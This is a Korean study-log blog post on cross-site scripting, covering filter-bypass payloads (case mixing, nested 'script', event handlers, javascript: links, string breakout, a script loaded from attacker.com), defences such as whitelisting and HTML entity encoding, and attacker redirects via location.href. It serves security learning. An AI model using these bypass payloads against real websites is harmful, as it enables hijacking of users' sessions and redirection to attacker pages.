Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋””/๋ชจ์˜ ํ•ดํ‚น - ๊ธฐ๋ก์ผ์ง€

[๊ธฐ๋ก์ผ์ง€] ๐Ÿ“š 11์ฃผ์ฐจ (XSS ๊ณต๊ฒฉ Script / ๋Œ€์‘ ๋ฐฉ์•ˆ / Client Script ํ™œ์šฉ ๋ฐฉ์•ˆ)

Gearvirus(junyup2) 2024. 1. 11. 22:50

XSS Bypass Trick

XSS ์šฐํšŒ ์ „๋žต์„ ํ†ตํ•œ ๊ณต๊ฒฉ ์Šคํฌ๋ฆฝํŠธ ์‚ฝ์ž… ๋ฐฉ๋ฒ•

Script Tag (๊ธธ์ด ์ œํ•œ)

์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฝ์ž…๋˜๋Š” ์Šคํฌ๋ฆฝํŠธ ๊ณต๊ฒฉ์€ ์–ด๋Š์ •๋„ ๊ธธ์ด๊ฐ€ ์žˆ๊ฒŒ ๋œ๋‹ค. ๊ทธ๋ž˜์„œ ์ด๋ฅผ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด script ํƒœ๊ทธ์— ๋Œ€ํ•˜์—ฌ ์Šคํฌ๋ฆฝํŠธ ํƒœ๊ทธ ๋‚ด๋ถ€์— ๋“ค์–ด๊ฐ€๋Š” ๊ธธ์ด ์ œํ•œ์„ ๋‘๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ๋‹ค.

$script = $_GET['script'];
$script = substr($script,0,40);
<script> alert(1); </script>

alert(1)๊ณผ ๊ฐ™์ด ์งง์€ ๊ฒƒ์œผ๋กœ ํ…Œ์ŠคํŠธ ํ•ด๋ณด๋Š” ๊ฒฝ์šฐ์—๋Š” ์‚ฝ์ž…์ด ๋˜์ง€๋งŒ, ๊ธธ์ด๊ฐ€ ๊ธธ์–ด์ง€๋Š” ๊ฒฝ์šฐ์— ๊ธธ์ด ์ œํ•œ์— ๊ฑธ๋ ค์„œ ์งค๋ฆฌ๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

์ด๋Ÿฐ ๊ฒฝ์šฐ์—๋Š” ๊ธด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์—†๋Š” ๊ฒƒ์ผ๊นŒ? ๊ทธ๋ ‡์ง€ ์•Š๋‹ค.

<script src="http://attacker.com/xss.js"></script>

์œ„์™€ ๊ฐ™์ด xss.js ๋ผ๋Š” ์‚ฝ์ž…์„ ์œ„ํ•œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋”ฐ๋กœ ๋งŒ๋“ค์–ด๋‘๊ณ  ํ•ด๋‹น js ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๋„๋ก ํ•˜๋ฉด ๊ธด ์Šคํฌ๋ฆฝํŠธ๋„ ์ถฉ๋ถ„ํžˆ ์‚ฝ์ž…์ด ๊ฐ€๋Šฅํ•ด์ง„๋‹ค.

์™ธ๋ถ€์—์„œ ๋ฆฌ์†Œ์Šค๋ฅผ ๋ฐ›์•„์™€์„œ ์ ์šฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์„ ์ธ์ง€ํ•ด์•ผํ•œ๋‹ค.

 

ScRiPt Tag (Filtering)

๋‹ค์Œ๊ณผ ๊ฐ™์ด 'script' ๋ผ๋Š” ํŠน์ • ๋‹จ์–ด๋ฅผ ๋ง‰๊ณ  ์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ๋‹ค.

$script = $_GET['script'];
if ($script == 'script')
if (preg_match('/script/',$script))

์ด๋Ÿฐ ๊ฒฝ์šฐ script ๋ผ๋Š” ๋‹จ์–ด๋งŒ ๋ง‰๋Š” ๊ฒฝ์šฐ, ๋Œ€์†Œ๋ฌธ์ž๋ฅผ ํ˜ผ์šฉํ•จ์œผ๋กœ์จ  ์šฐํšŒ ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ๊ฐ€ ์žˆ๋‹ค. upper / lower ๋ฅผ ํ†ตํ•ด ๋ง‰์•„๋‘” ๊ฒฝ์šฐ์—๋Š” ์‚ฌ์šฉ์ด ๋ถˆ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ๋‹ค.

<scRiPt> alert(1); </ScrIpt>

 

scrscriptipt Tag (replace)

๋‹ค์Œ๊ณผ ๊ฐ™์ด <script> ๊ฐ€ <> ์™€ ๊ฐ™์ด script๋ผ๋Š” ๋‹จ์–ด๊ฐ€ ์‚ฌ๋ผ์ง€๊ฒŒ(๊ณต๋ฐฑ์œผ๋กœ) ๋˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ๋‹ค. 

$script = $_GET['script'];
str_replace('script','',$script,);

script ์‚ฌ์ด์— script๋ผ๋Š” ๋‹จ์–ด๋ฅผ ๋„ฃ์–ด scrscriptipt ์™€ ๊ฐ™์€ ์‹์œผ๋กœ ๋งŒ๋“ค์–ด์คŒ์œผ๋กœ์จ script๋งŒ ๋‚จ๋„๋กํ•˜์—ฌ ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ๋„ ์žˆ๋‹ค.

<scrscriptipt> alert(1); </scrscriptipt>

script๋ฅผ ๋งŒ์•ฝ xcript์™€ ๊ฐ™์ด ๋ณ€ํ™˜ํ•ด๋ฒ„๋ฆฐ๋‹ค๋ฉด?!

$script = $_GET['script'];
$result = preg_replace("/script/","xcript",$script);

์ด๋ ‡๊ฒŒ ๋˜๋ฉด script ํƒœ๊ทธ๋Š” ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์„ ๊ฒƒ์ด๋‹ค.

์—ฌ๊ธฐ์„œ ์šฐ๋ฆฌ๋Š” javascript๋Š” script ํƒœ๊ทธ๋งŒ์„ ์ด์šฉํ•ด์•ผํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ๋Š” ์‚ฌ์‹ค์„ ์ธ์ง€ํ•ด์•ผํ•œ๋‹ค.

 

eventHandler

Event Handler๋ฅผ ํ™œ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ๋‹ค.

Event Handler๋Š” ํŠน์ • ์ด๋ฒคํŠธ๊ฐ€ ๋ฐœ์ƒํ–ˆ์„ ๋•Œ, ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•œ๋‹ค. (์ด๋ฒคํŠธ๊ฐ€ ๋ฐœ์ƒ ํ–ˆ์„ ๋•Œ ์ด๋ฅผ ์ธ์ง€ํ•˜์—ฌ ์ฒ˜๋ฆฌ)

1. event Handler๋ฅผ ์„ค์ •ํ•ด๋‘๊ณ ์ž ํ•˜๋Š” HTML element์— ์†์„ฑ์œผ๋กœ ๋ถ€์—ฌ
2. HTML element๋ฅผ JavaScript๋กœ ๊ฐ€์ ธ๊ฐ€ Event Listener๋ฅผ ์ถ”๊ฐ€

 

HTML tag์— ์†์„ฑ์„ ๋ถ€์—ฌ

img ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•˜๋Š” ๊ฒฝ์šฐ ์ž˜๋ชป๋œ src๋ฅผ ๋ณด๋ƒ„์œผ๋กœ์„œ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

<img src=x onerror="alert(1)">

src์— ์š”์ฒญํ–ˆ๋Š”๋ฐ ์ž๋ฃŒ๊ฐ€ ์—†์œผ๋ฉด ์—๋Ÿฌ ์•Œ๋ฆผ์„ ๋ณด๋‚ด๊ธฐ ๋•Œ๋ฌธ์— 404 Not Found ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜๊ฒŒ ๋˜๋Š” ๊ฒƒ์„ ์ด์šฉํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋‹ค์–‘ํ•œ ํ•ธ๋“ค๋Ÿฌ๋“ค์„ ์ด์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. (๊ทธ ์ข…๋ฅ˜๋Š” ๋งค์šฐ ๋‹ค์–‘ํ•˜๋‹ค.)

onerror, onload, onclick, onmouseover, onplay ...

Tag์˜ ๊ฒฝ์šฐ์—๋„ ๋‹ค์–‘ํ•˜๊ฒŒ ํ™œ์šฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

img, svg, div ๋“ฑ ๋‹ค์–‘ํ•œ ํƒœ๊ทธ๋กœ ํ™œ์šฉ ๊ฐ€๋Šฅ

 

JavaScript Code ์ด์šฉ

addEventListener ๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค.

addEventListener(event, code)

addEventListener๋Š” ์ฒ˜๋ฆฌํ•  ์ด๋ฒคํŠธ๋ฅผ ์ฒซ๋ฒˆ์งธ ์ธ์ž๋กœ, ์ด๋ฒคํŠธ๊ฐ€ ๋ฐœ์ƒํ–ˆ์„ ๋•Œ ์‹คํ–‰ํ•˜๊ณ ์ž ํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ๋‘๋ฒˆ์งธ ์ธ์ž ๊ฐ’์œผ๋กœ ๋ฐ›๋Š”๋‹ค.

๊ทธ๋Ÿฌ๋ฏ€๋กœ ์›ํ•˜๋Š” ์ด๋ฒคํŠธ, ์‚ฝ์ž…ํ•  ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

 

XSS in href

<a href="javascript:alert(1)">TEST</a>

์•ต์ปค ํƒœ๊ทธ a ์—์„œ href ์— ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ๋งํฌ ํด๋ฆญ์‹œ ๋ฆฌ๋””๋ ‰์…˜์„ ํ†ตํ•ด ์‹คํ–‰๋˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋‹ค.

์ฃผ์†Œ์ฐฝ์— javascript๋ฅผ ์ง์ ‘ ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ์—๋„ ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

 

XSS in javascript

script Tag ๋‚ด์—์„œ XSS๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒฝ์šฐ์—๋Š” " ์™€ ' ๋ฅผ ํ™œ์šฉํ•˜์—ฌ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด ๊ฒฝ์šฐ์—๋Š” ๊บพ์‡ (angle bracket)๊ฐ€ ๋ง‰ํ˜€ ์žˆ์–ด๋„ ๊ฐ€๋Šฅํ•˜๋‹ค.

์ž…๋ ฅํ•˜๋Š” ๊ฐ’์ด script ํƒœ๊ทธ ๋‚ด๋ถ€์— ์žˆ๋Š” ๊ฒฝ์šฐ

<script> var data = "______"; </script>

์ž…๋ ฅ์— ";alert(1);var a =" ์™€ ๊ฐ™์ด ์‚ฝ์ž…ํ•˜๋Š” ๋ฐฉ์‹์„ ์ทจํ•  ์ˆ˜ ์žˆ๋‹ค.

<script> var data = ""; alert(1); var a = ""; </script>

๊ทธ ๊ฒฐ๊ณผ ์œ„์™€ ๊ฐ™์ด ์‚ฝ์ž…์ด ๊ฐ€๋Šฅํ•ด์ง„๋‹ค.

๋˜ํ•œ document.write() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•๋„ ์žˆ๋‹ค.

document.write(' ');

 

XSS in input

input ํƒœ๊ทธ ๋‚ด๋ถ€์— ์ž…๋ ฅ๊ฐ’์ด ๋“ค์–ด๊ฐ€๋Š” ๊ฒฝ์šฐ์—๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ™œ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

<input type="text" onmouseover="alert(1)" >
<input type="text" onfocus="alert(1)" > : ์‚ฌ์šฉ์ž๊ฐ€ ๋ˆŒ๋Ÿฌ์•ผํ•œ๋‹ค.
<input type="text" autofocus onfocus="alert(1)" > : ๋ฐ”๋กœ focus ๋œ๋‹ค.

 

์ด์™€ ๊ฐ™์ด ๋‹ค์–‘ํ•œ ์šฐํšŒ ์ „๋žต์ด ์กด์žฌํ•œ๋‹ค. javascript์— ๋Œ€ํ•ด ์ถ”๊ฐ€์ ์ธ ๊ณต๋ถ€๋ฅผ ํ†ตํ•ด ๋” ๋‹ค์–‘ํ•œ ์šฐํšŒ ์ „๋žต์„ ์ตํž ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋‹ค.


XSS ๋Œ€์‘ ๋ฐฉ์•ˆ

ํ•„ํ„ฐ๋ง(Filtering)

ํ•„ํ„ฐ๋ง์ด๋ž€ ์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ์„ ์ œํ•œํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

์›ฌ๋งŒํ•œ ๊ณต๊ฒฉ์— ๋Œ€ํ•œ ๋Œ€๋‹ต์„ ํ•„ํ„ฐ๋ง์ด๋ผ๊ณ  ํ‰ ์น˜๋Š” ์ˆ˜๊ฐ€ ์žˆ๋Š”๋ฐ... ์ด๋ ‡๊ฒŒ ๋งํ•˜๋Š” ๊ฒƒ์€ ๊ณต๋ถ€๋ฅผ ๋œํ•œ ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ด๊ฒŒ ๋˜๋‹ˆ ์ฃผ์˜ํ•ด์•ผํ•œ๋‹ค. ํ•„ํ„ฐ๋ง๊ณผ ๋น„์Šทํ•˜๊ฒŒ ๋Š๋‚„ ์ˆ˜ ์žˆ์ง€๋งŒ ๋‹ค์–‘ํ•œ ๋ฐฉ์‹์œผ๋กœ ๋Œ€์‘ํ•˜๋Š” ๊ฒƒ์ž„์„ ์ดํ•ดํ•ด์•ผํ•œ๋‹ค.

BlackList

๋ธ”๋ž™ ๋ฆฌ์ŠคํŠธ ๊ธฐ๋ฐ˜ ํ•„ํ„ฐ๋ง์€ ํŠน์ • ๋‹จ์–ด๋ฅผ ๋ชป ๋“ค์–ด์˜ค๊ฒŒ ํ•˜๋Š” ๊ฒƒ์ด๋‹ค. ๊ทธ๋Ÿฌ๋ฏ€๋กœ ํ•„ํ„ฐ๋ง ๋‹จ์–ด์— ๋น ์ง€๋Š” ๋ถ€๋ถ„์ด ์žˆ์„ ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๋ž˜์„œ ์šฐํšŒ๊ฐ€ ๋  ๊ฐ€๋Šฅ์„ฑ์ด ์กด์žฌํ•œ๋‹ค. (ํ•„ํ„ฐ๋ง์œผ๋กœ ๋ฌด์กฐ๊ฑด ๋‹ค ๋ง‰์„ ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์€ ์ž˜๋ชป๋œ ์ƒ๊ฐ์ด๋‹ค. ์•„์ง ์ฐพ์ง€ ๋ชป ํ–ˆ์„๋ฟ ๋ฐฉ์‹์ด ์กด์žฌํ•  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ๋‹ค๊ณ  ๋ณด๋Š” ๊ฒƒ์ด ๋งž๋‹ค.)

๊ฒฐ๋ก ์ ์œผ๋กœ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๊ธฐ๋ฐ˜ ํ•„ํ„ฐ๋ง์—๋Š” ํ•œ๊ณ„๊ฐ€ ์กด์žฌํ•œ๋‹ค.

WhiteList

ํ™”์ดํŠธ ๋ฆฌ์ŠคํŠธ ๊ธฐ๋ฐ˜ ํ•„ํ„ฐ๋ง์€ ํŠน์ • ๋‹จ์–ด๋งŒ ๋“ค์–ด์˜ค๊ฒŒ ํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

 

HTML Entity ์น˜ํ™˜

(HTML ํŠน์ˆ˜๋ฌธ์žํ‘œ)

< ' " > ์™€ ๊ฐ™์€ ํŠน์ˆ˜ ๋ฌธ์ž๋“ค์„ HTML Entity ํ‘œํ˜„ ๋ฐฉ์‹์œผ๋กœ ์น˜ํ™˜(๋ณ€ํ™˜)ํ•œ๋‹ค.

ํ•„ํ„ฐ๋ง์€ ํ•ด๋‹น ๋ฌธ์ž๋ฅผ ๋‹ค๋ฅธ๊ฒƒ์œผ๋กœ ๋ฐ”๊พธ๋Š” ๊ฒƒ์ด๊ธฐ๋•Œ๋ฌธ์— ํ•„ํ„ฐ๋ง๊ณผ๋Š” ๋‹ค๋ฅด๋‹ค.
์น˜ํ™˜! ์ด๋ผ๊ณ  ํ•œ๋‹ค.

'ํ•ด๋‹น ๋ฌธ์ž๋Š” ์•„๋‹ˆ์ง€๋งŒ ๋ณด์—ฌ์ค„๋•Œ๋Š” ํ•ด๋‹น ๋ฌธ์ž๋กœ ๋ณด์—ฌ์ฃผ๊ฒ ๋‹ค.' ๋ผ๋Š” ์˜๋ฏธ์ด๋‹ค.

 

HTML Editor ๋Œ€์‘ ๋ฐฉ๋ฒ•

๊ฒŒ์‹œํŒ ์ค‘ HTML ํƒœ๊ทธ๋ฅผ ํ—ˆ์šฉํ•ด์ฃผ๊ณ  ์‹ถ์€ ๊ฒฝ์šฐ์—๋Š” ์–ด๋–ป๊ฒŒ ํ•ด์•ผํ• ๊นŒ?

HTML Editor๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ Editor์˜ ์—ญํ•  ์ž์ฒด๊ฐ€ ํ•˜์ด๋ผ์ดํŒ…์„ ํฌํ•จํ•˜๊ธฐ ๋•Œ๋ฌธ์— HTML Entity๋ฅผ ๊ทธ๋ƒฅ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์ด ๋ฌธ์ œ์ด๋‹ค.

์ฆ‰ XSS์— ์ทจ์•ฝํ•  ์ˆ˜ ๋ฐ–์— ์—†๊ณ  HTML Editor ์ž์ฒด๋ฅผ ์“ฐ์ง€ ์•Š๊ณ , ๊ธฐ๋Šฅ์„ ์‚ญ์ œํ•˜๋Š” ๊ฒƒ์„ ๊ถŒ์žฅํ•œ๋‹ค.

ํ•˜์ง€๋งŒ ์–ด๋–ป๊ฒŒ๋“ , ์–ด์ฉ” ์ˆ˜ ์—†์ด ์‚ฌ์šฉํ•ด์•ผํ•œ๋‹ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด 'HTML Editor ํŠน๋ณ„ ๋ฒ„์ „' ๋Œ€์‘ ๋ฐฉ์•ˆ์ด ์กด์žฌํ•œ๋‹ค.

Step 1. ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ๋ฐ›๋Š” ๋ฐ์ดํ„ฐ์—์„œ HTML ํŠน์ˆ˜ ๋ฌธ์ž๋“ค์„ ์ „๋ถ€ HTML Entity๋กœ ์น˜ํ™˜ํ•œ๋‹ค.
Step 2. ํ—ˆ์šฉํ•ด ์ค„ tag๋“ค์„ ์‹๋ณ„ํ•ด HTML ๋ฌธ์ž๋“ค์„ ๋‹ค์‹œ HTML ํŠน์ˆ˜๋ฌธ์ž๋กœ ๋ณต๊ตฌํ•œ๋‹ค.
(ํ—ˆ์šฉํ•ด ์ค„ tag๋“ค์„ WhiteList ๊ธฐ๋ฐ˜ ํ•„ํ„ฐ๋ง์„ ์ด์šฉํ•˜์—ฌ ํ•ด๋‹น tag๋งŒ ๋‹ค์‹œ ์‚ด๋ ค์ค€๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.)
Step 3. ๋ณต๊ตฌํ•œ ํƒœ๊ทธ ์ค‘ ์•…์˜์ ์ธ eventHandler๊ฐ€ ์žˆ๋Š”์ง€ BlackList ๊ธฐ๋ฐ˜์œผ๋กœ ํ•„ํ„ฐ๋งํ•œ๋‹ค.

์œ„์˜ ์ ˆ์ฐจ๋ฅผ ๊ฑฐ์น˜๊ฒŒ ๋œ๋‹ค๋ฉด 

<img src="http://attacker.com/bad.js">

์œ„์™€ ๊ฐ™์ด ๋˜์–ด์žˆ๋Š” ์ฝ”๋“œ๊ฐ€ ์žˆ๋”๋ผ๋„ ์•…์˜์ ์ธ ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ์—†๋‹ค๋ฉด ์‹คํ–‰ ์ž์ฒด๊ฐ€ ๋ถˆ๊ฐ€๋Šฅ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ƒ๊ด€์ด ์—†์–ด์ง„๋‹ค.


Client Script ํ™œ์šฉ ๋ฐฉ์•ˆ

(์ด๊ฒƒ๋“ค์„ ์•Œ๊ณ  ์žˆ์œผ๋ฉด CSRF ํ•  ๋•Œ์— ์ข€ ๋” ํŽธ์•ˆํ•  ์ˆ˜ ์žˆ๋‹ค.)

JavaScript๋กœ ํ•  ์ˆ˜ ์žˆ๋Š” ์—ฌ๋Ÿฌ๊ฐ€์ง€์— ๋Œ€ํ•˜์—ฌ ์•Œ์•„๋ณผ ๊ฒƒ์ด๋‹ค.

Page Redirect

๊ณต๊ฒฉ์ž ํŽ˜์ด์ง€๋กœ ์ด๋™์‹œํ‚ค๋Š” ๋ฐฉ๋ฒ•์ด๋‹ค.

๋ณ€์ˆ˜๋ฅผ ์ด์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•

location.href

<script>
location.href="https://www.attacker.com/";

์œ„์™€ ๊ฐ™์ด ๋ณ€์ˆ˜๋ฅผ ์ด์šฉํ•˜๋Š” ๊ฒฝ์šฐ '๋’ค๋กœ๊ฐ€๊ธฐ' ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค.

 

ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•

location.replace

location.replace("https://www.attacker.com/");
</script>

๋ฐ˜๋ฉด ์œ„์™€ ๊ฐ™์ด ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์˜ ๊ฒฝ์šฐ '๋’ค๋กœ๊ฐ€๊ธฐ' ๊ฐ€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค.

 

์ฃผ์†Œ์ฐฝ ๋ณ€์กฐ

๋„๋ฉ”์ธ์€ ๋ฐ”๊ฟ€ ์ˆ˜ ์—†์ง€๋งŒ ๊ฒฝ๋กœ๋ฅผ ๋ฐ”๊ฟ”์ค„ ์ˆ˜ ์žˆ๋‹ค.

<script>
history.pushState(null, null, login.php')
</script>

์œ„์™€ ๊ฐ™์€ ๋ฐฉ๋ฒ•์œผ๋กœ ์›ํ•˜๋Š” ๊ฒฝ๋กœ์˜ ์ด๋ฆ„์„ ๋ฐ”๊ฟ”์ฃผ๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค. ํ•ด๋‹น ํŽ˜์ด์ง€์˜ ์ฝ”๋“œ ์ด๋ฆ„์„ ๊ฐ์ถ”๊ณ  ์‹ถ๊ฑฐ๋‚˜, ์ด๋ฆ„์ด ๊ธธ์–ด์ ธ์„œ ๋ณด๊ธฐ ์‹ซ์€ ๊ฒฝ์šฐ์— ๋ฐ”๊ฟ”์ฃผ๋Š” ์šฉ๋„๋กœ ์‚ฌ์šฉ๋œ๋‹ค.

 

DOM ๊ฐ์ฒด์— ์ ‘๊ทผ

javascript ์—์„œ html์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” document๋ผ๋Š” ๊ฐ์ฒด์— ์ ‘๊ทผํ•˜์—ฌ ์‚ฌ์šฉํ•œ๋‹ค.

html ์ฝ”๋“œ๊ฐ€ ๋‹ค ๋‚˜์˜ค๊ฒŒ ๋œ๋‹ค.(์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.)

 

javascript๋กœ ํŠน์ • ๊ฐ์ฒด์— ์ ‘๊ทผํ•˜๋Š” ๋ฐฉ๋ฒ•

document ๊ฐ์ฒด

document ๊ฐ์ฒด์˜ get method๋ฅผ ์ด์šฉํ•œ๋‹ค.

document.getElementBy ์†์„ฑ( )

HTML ์—์„œ id์— ํ•ด๋‹นํ•˜๋Š” name์€ ์œ ์ผํ•œ id๊ฐ€ ๋œ๋‹ค. ํ•œ HTML ๋‚ด๋ถ€์—์„œ ๊ฐ™์€ ์ด๋ฆ„์˜ id ํƒœ๊ทธ๋Š” ์กด์žฌํ•  ์ˆ˜ ์—†๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

<html>
<h1 id="name" class="NameClass"></h1>
 </html>

์œ„์™€ ๊ฐ™์ด id ๊ฐ€ name์ธ ๊ฒฝ์šฐ ์œ ์ผํ•œ ์ด๋ฆ„์ด ๋œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

๊ทธ๋ž˜์„œ ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ์šฐ๋ฆฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

 

ํŠน์ • ๋ฐ์ดํ„ฐ ์ ‘๊ทผ

document.getElementById('')
์œ ์ผํ•œ ์†์„ฑ์œผ๋กœ ํ•˜๋‚˜๋งŒ ๋‚˜์˜จ๋‹ค.
document.getElementsByClassName('')
์œ ์ผํ•œ ์†์„ฑ์ด ์•„๋‹ˆ๋ฏ€๋กœ ์—ฌ๋Ÿฌ ๊ฐœ๊ฐ€ ๋‚˜์˜ฌ ์ˆ˜ ์žˆ๋‹ค.

์–ด๋–ค ์†์„ฑ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ๋ถˆ๋Ÿฌ์˜ฌ ๊ฒƒ์ธ์ง€ ์ •ํ•˜๊ณ  document๋กœ ์ฐพ์•„๋ณธ ํ•ด๋‹น ์†์„ฑ์˜ ์ด๋ฆ„์„ ๋ถˆ๋Ÿฌ์˜ค๋ฉด ๋˜๋Š” ๊ฒƒ์ด๋‹ค.

Element / Elements ์™€ ๊ฐ™์ด 's'์˜ ์ฐจ์ด๊ฐ€ ๋‚˜๋Š” ์ด์œ ๋Š” ์œ ์ผํ•œ ์†์„ฑ์ด๋ƒ ์•„๋‹ˆ๋ƒ์— ๋”ฐ๋ฅธ ๊ฒƒ์ด๋‹ค.

 

๊ฐ์ฒด์—์„œ ์†์„ฑ ๊ฐ’ ์ ‘๊ทผ

ํƒœ๊ทธ์˜ ์†์„ฑ๊ฐ’์„ ๋ฐ›์•„์˜ค๋ ค๋ฉด ์ (.)์„ ๋ถ™์ด๋ฉด ๋œ๋‹ค.

. ๋’ค์— ์†์„ฑ ๊ฐ’์„ ๋ถ™์—ฌ์„œ ์ ‘๊ทผํ•œ๋‹ค.

.id - id ๋ฅผ ๊ฐ€์ ธ์˜จ๋‹ค.
.className - class๋ฅผ ๊ฐ€์ ธ์˜จ๋‹ค.
<script>
var targetTag = document.getElementsByClassName('ClassName');
targetTag.[์†์„ฑ ์ด๋ฆ„]
</script>

 

๊ฐ์ฒด HTML ๋ฐ์ดํ„ฐ ์ ‘๊ทผ

๋‚ด๋ถ€์˜ ๊ธ€์ž๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

.innerHTML

์Šคํฌ๋ฆฝํŠธ ์‚ฌ์šฉ์‹œ ์ฃผ์˜์‚ฌํ•ญ

script ๊ฐ€ ๋กœ๋“œ ๋˜๋Š” ์œ„์น˜

Page๊ฐ€ ๋‹ค ๋กœ๋“œ๋œ ํ›„์— ์‹คํ–‰๋˜์–ด์•ผ ํ•œ๋‹ค.

(javascript์˜ ์‹คํ–‰ ์‹œ์ ์„ ์ƒ๊ฐํ•ด์•ผ ํ•œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค. ์ด๊ฒƒ์„ ์ œ๋Œ€๋กœ ์ธ์ง€ํ•˜์ง€ ๋ชปํ•˜๋Š” ๊ฒฝ์šฐ ์ œ๋Œ€๋กœ ๋กœ๋“œ๊ฐ€ ๋˜์ง€ ์•Š์€ ์ƒํƒœ์—์„œ ์ง„ํ–‰๋˜์–ด ๊ณต๊ฒฉ์— ์‹คํŒจํ•  ์ˆ˜ ์žˆ๋‹ค.)

๋ฆฌ๋””๋ ‰์…˜

์Šคํฌ๋ฆฝํŠธ๋Š” ํ•ด๋‹น ํŽ˜์ด์ง€ ์•ˆ์—์„œ๋งŒ ์‹คํ–‰๋˜๋Š” ๊ฒƒ์ด๋‹ค.

๋•Œ๋ฌธ์— ๋ฆฌ๋””๋ ‰์…˜ ๋˜๋Š” ๊ฒฝ์šฐ / ์‹œํ‚ค๋Š” ๊ฒฝ์šฐ์—๋Š” ์Šคํฌ๋ฆฝํŠธ์˜ ํšจ๋ ฅ์ด ์‚ฌ๋ผ์ง€๊ฒŒ ๋œ๋‹ค.

